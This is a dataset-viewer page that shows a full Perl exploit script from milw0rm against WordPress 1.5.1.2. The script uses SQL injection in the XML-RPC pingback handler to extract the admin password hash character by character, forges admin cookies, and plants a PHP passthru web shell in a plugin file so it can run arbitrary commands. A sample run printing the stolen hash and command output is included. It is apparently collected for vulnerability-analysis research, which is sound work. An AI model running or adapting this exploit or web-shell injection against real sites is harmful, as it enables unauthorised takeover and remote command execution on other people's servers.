Team Ai
Modelpublic

lilbool/vuln-code-analysis

sourceHugging Facemitupdated 2y agoView on Hugging Face
0likes
exploit_1077.txt283 linesDownload Raw Back to exploits
1#!/usr/bin/perl -w

2

3# sorry for the late posting, had to test it. /str0ke

4

5#################################################################

6# Wordpress 1.5.1.2 Strayhorn // XMLRPC Interface SQL Injection #

7#################################################################

8# By James Bercegay // http://www.gulftech.org/ // June 21 2005 #

9#################################################################

10# Quick and dirty proof of concept that uses the XML RPC server #

11# vulnerabilities I discovered to extract a password hash & use #

12# that hash to execute shell commands on the server as httpd :) #

13#################################################################

14# Technical details of WordPress XMLRPC Interface SQL Injection #

15#################################################################

16# The vulnerability exist because all XMLRPC data is taken from #

17# the HTTP_RAW_POST_DATA variable, and never sanatized properly #

18# thus leaving the doors open for attack. Also, most if not all #

19# the functions in xmlrpc.php are vulnerable to similar attacks #

20#################################################################

21#

22# C:\Documents and Settings\James\Desktop>wp.pl http://pathto/wp admin 1 "id;uname -a;pwd;uptime"

23# [*] Trying Host http://pathto/wp ...

24# [+] The XMLRPC server seems to be working

25# [+] Char 1 is 2

26# [+] Char 2 is 1

27# [+] Char 3 is 2

28# [+] Char 4 is 3

29# [+] Char 5 is 2

30# [+] Char 6 is f

31# [+] Char 7 is 2

32# [+] Char 8 is 9

33# [+] Char 9 is 7

34# [+] Char 10 is a

35# [+] Char 11 is 5

36# [+] Char 12 is 7

37# [+] Char 13 is a

38# [+] Char 14 is 5

39# [+] Char 15 is a

40# [+] Char 16 is 7

41# [+] Char 17 is 4

42# [+] Char 18 is 3

43# [+] Char 19 is 8

44# [+] Char 20 is 9

45# [+] Char 21 is 4

46# [+] Char 22 is a

47# [+] Char 23 is 0

48# [+] Char 24 is e

49# [+] Char 25 is 4

50# [+] Char 26 is a

51# [+] Char 27 is 8

52# [+] Char 28 is 0

53# [+] Char 29 is 1

54# [+] Char 30 is f

55# [+] Char 31 is c

56# [+] Char 32 is 3

57# [+] Host : http://pathto/wp

58# [+] User : admin

59# [+] Hash : 21232f297a57a5a743894a0e4a801fc3

60# [*] Attempting to create shell ..

61# [+] Trying filename hello.php ...

62# [+] Trying to activate hello.php ...

63# [+] Trying to execute id;uname -a;pwd;uptime ...

64# [+] Successfully executed id;uname -a;pwd;uptime

65#

66# uid=1979(gulftech) gid=500(customer) groups=500(customer)

67# FreeBSD example.com 4.10-RELEASE FreeBSD 4.10-RELEASE #0: Tue Jan 1

68# 1 22:44:03 PST 2005     james@example.com:/usr/src/sys/compile/EXAMPLE  i386

69#

70# /www/htdocs/wp/wp-admin

71# 8:07AM  up 35 days, 20:01, 1 user, load averages: 7.98, 8.24, 8.14

72#

73#################################################################

74

75use LWP::UserAgent;

76use Digest::MD5 qw(md5_hex);

77

78my $ua = new LWP::UserAgent;

79  $ua->agent("Wordpress Hash Grabber v1.0" . $ua->agent);

80

81my @char = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

82

83my $host = $ARGV[0]; # The path to xmlrpc.php

84my $user = $ARGV[1]; # The target login, default wp user is admin

85my $post = $ARGV[2]; # Must be a valid pingback or part

86                                    # of an entry title, very easy to

87                                        # obtain if you know how to read :)

88my $exec = $ARGV[3]; # Command to execute

89my $pref = 'wp_';    # database prefix!

90my $hash = '';

91

92if ( !$ARGV[2] )

93{

94       die("Im Not Psychic ..\n");

95}

96

97print "[*] Trying Host $host ...\n";

98

99my $res = $ua->get($host.'/xmlrpc.php');

100

101if ( $res->content =~ /XML-RPC server accepts POST requests only/is )

102{

103       print "[+] The XMLRPC server seems to be working \n";

104}

105else

106{

107       print "[!] Something seems to be wrong with the XMLRPC server \n ";

108       # Sloppy way of debugging, remove if you want

109       open(LOG, ">wp_out.html"); print LOG $res->content;

110       exit;

111}

112

113for( $i=1; $i < 33; $i++ )

114{

115       for( $j=0; $j < 16; $j++ )

116       {

117                               # oh my! :)

118                               my $sql = "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>foobar' UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM " . $pref . "users WHERE (user_login='$user' AND MID(user_pass,$i,1)='$char[$j]')/*</string></value></param><param><value><string>$host/?p=$post#$post</string></value></param><param><value><string>admin</string></value></param></params></methodCall>";

119

120                               # Remove the content type so $HTTP_RAW_POST_DATA is

121                               # populated. php.net guys, pleeeeaaase fix this! :)

122                               my $req = new HTTP::Request POST => $host . "/xmlrpc.php";

123                                  $req->content($sql);

124                                  $res = $ua->request($req);

125                              $out = $res->content;

126

127               if ( $out =~ /The pingback has already been registered/)

128               {

129                   $hash .= $char[$j];

130                   print "[+] Char $i is $char[$j]\n";

131                   last;

132               }

133

134       }

135

136   if ( length($hash) < 1 )

137   {

138               # Sloppy way of debugging, remove if you want

139               open(LOG, ">wp_out.html"); print LOG $out;

140

141               print "[!] $host not vulnerable? Better verify manually!\n";

142               exit;

143       }

144                               if ( $out =~ /<value><int>0<\/int><\/value>/)

145                               {

146                                   print "[!] Invalid post information specified! \n";

147                                       exit;

148                               }

149

150                               # Probably exploitable, but not by using default SQL query. The

151                               # [0]{5} regex may be a bad idea bit ive never seen a md5 thats

152                               # got 5 0's at the very beginning of it.

153                               if ( $out =~ /different number of columns/is || $hash =~ /([0]{5})/ )

154                               {

155                                       # Sloppy way of debugging, remove if you want

156                                       open(LOG, ">wp_out.html"); print LOG $out;

157

158                                       print "[!] The database structured has been altered, check manually \n";

159                                       exit;

160                               }

161

162}

163

164# Verbose

165print "[+] Host : $host\n";

166print "[+] User : $user\n";

167print "[+] Hash : $hash\n";

168

169# We got the hash, so we are guaranteed admin

170# even if we can not successfully execute! :)

171print "[*] Attempting to create shell .. \n";

172

173# Here we md5 the passhash, as well as the host

174# in order to get the cookie hash, and the pass

175# hash values respectively.

176my $ckey = md5_hex($host);

177  $hash = md5_hex($hash);

178

179# Create the cookie used to make all admin requests

180my @cookie = ('Referer' => $host.'/wp-admin/plugins.php;','Cookie' => 'wordpressuser_'.$ckey.'='.$user.'; wordpresspass_'.$ckey.'='. $hash);

181  $res = $ua->get($host.'/wp-admin/plugin-editor.php', @cookie);

182

183# Let's get the filename from the plugin editor

184if ( $res->content =~ /<strong>(.*)\.php<\/strong>/i )

185{

186       # Seems our request went okay, and we have the filename!

187       my @list = ($1.'.php', 'hello.php', 'markdown.php', 'textile1.php');

188       my $file;

189

190       # Make it work one way or another :)

191       foreach $file (@list)

192       {

193

194               print "[+] Trying filename $file ...\n";

195               $res = $ua->get($host.'/wp-admin/plugin-editor.php?file='.$file, @cookie);

196

197               if ( $res->content =~ /<textarea[^>]*>(.*)<\/textarea>/is )

198               {

199                       # This is the file contents

200                       my $data = $1;

201

202                          # Quick and dirty way to fix the data recieved

203                          # so that it executes and does not cause error

204                          $data =~ s/>/>/ig;

205                          $data =~ s/</</ig;

206                          $data =~ s/"/"/ig;

207                          $data =~ s/&/&/ig;

208

209

210

211                       # We use the <cmdout> tag to make it easy to grab out command output

212                       my $add = ( $data =~ /<cmdout>(.*)<\/cmdout>/is ) ? '': '<cmdout><?php if ( !empty($_REQUEST["cmd"]) ) passthru($_REQUEST["cmd"]); ?></cmdout>';

213

214                          # Adding our php code to the selected plugin

215                          $res = $ua->post($host . "/wp-admin/plugin-editor.php", ['newcontent' => $add.$data, 'action' => 'update', 'file' => $file, 'submit' => 'foobar'], @cookie);

216

217                          # Trying to activate the plugin. If the requests doesn't succeed

218                          # then the command execution will fail unless the plugin has had

219                          print "[+] Trying to activate $file ... \n";

220                          $res = $ua->get($host.'/wp-admin/plugins.php?action=activate&plugin='.$file , @cookie);

221

222                          # Depending on the plugin this should execute

223                          # our command, else we try the file directly!

224                          # this works everytime on the default install

225                          print "[+] Trying to execute $exec ... \n";

226                      $res = $ua->get($host.'/wp-admin/plugins.php?cmd='.$exec, @cookie);

227

228                          # It seems we have executed our command successfully

229                          if ( $res->content =~ /<cmdout>(.*)<\/cmdout>/is )

230                          {

231                                  # Send results to STDOUT

232                              print "[+] Successfully executed $exec\n\n\n";

233                                  print $1;

234                                  exit;

235                          }

236                          else

237                          {

238                                  # No luck with that particular method, so

239                                  # we will try to access the modified file

240                                  print "[!] Couldnt execute command $exec\n";

241                                  open(LOG, ">wp_out.html"); print LOG $res->content;

242

243                                  # Trying to access the file directly and execute

244                                  print "[!] Trying to access $file directly!\n";

245                                  $res = $ua->get($host.'/wp-content/plugins/'.$file.'?cmd='.$exec, @cookie);

246

247                                   # It seems we have executed our command successfully

248                                  if ( $res->content =~ /<cmdout>(.*)<\/cmdout>/is )

249                                  {

250                                          # Send results to STDOUT

251                                  print "[+] Successfully executed $exec\n\n\n";

252                                      print $1;

253                                          exit;

254                                  }

255                                  else

256                                  {

257                                          # No luck, better take a look at things manually

258                                      print "[!] Couldnt execute command $exec\n";

259                                          print "[*] Try $host/wp-content/plugins/$file manually\n";

260                                  }

261                          }

262               }

263               else

264               {

265                       # Unable to get the file contents

266                       print "[!] Could not read file $file \n";

267                       open(LOG, ">wp_out.html"); print LOG $res->content . $file;

268               }

269

270       }

271

272}

273else

274{

275       # Unable to get the plugin information

276       print "[!] Could Not Get Plugin Information\n";

277       open(LOG, ">wp_out.html"); print LOG $res->content;

278}

279

280# fin

281exit;

282

283# milw0rm.com [2005-06-30]